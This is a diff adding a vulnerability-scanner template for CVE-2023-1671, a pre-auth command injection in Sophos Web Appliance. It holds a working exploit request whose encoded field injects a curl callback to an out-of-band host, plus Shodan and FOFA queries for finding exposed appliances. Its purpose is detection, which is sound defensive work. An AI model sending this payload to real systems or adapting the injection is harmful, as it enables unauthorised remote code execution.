diff --git a/http/cves/2023/CVE-2023-1671.yaml b/http/cves/2023/CVE-2023-1671.yaml
new file mode 100644
index 0000000000..4e141ada89
--- /dev/null
+++ b/http/cves/2023/CVE-2023-1671.yaml
@@ -0,0 +1,42 @@
+id: CVE-2023-1671
+
+info:
+  name: Sophos Web Appliance - Remote Code Execution
+  author: Co5mos
+  severity: critical
+  description: |
+    A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
+  reference:
+    - https://vulncheck.com/blog/cve-2023-1671-analysis
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-1671
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2023-1671
+    cwe-id: CWE-77
+  metadata:
+    verified: "true"
+    fofa-query: title="Sophos Web Appliance"
+    shodan-query: title:"Sophos Web Appliance"
+  tags: cve,cve2023,rce,sophos,oast
+
+http:
+  - raw:
+      - |
+        POST /index.php?c=blocked&action=continue HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        User-Agent: curl/7.86.0
+
+        args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+
+      - type: word
+        part: interactsh_request
+        words:
+          - "User-Agent: curl"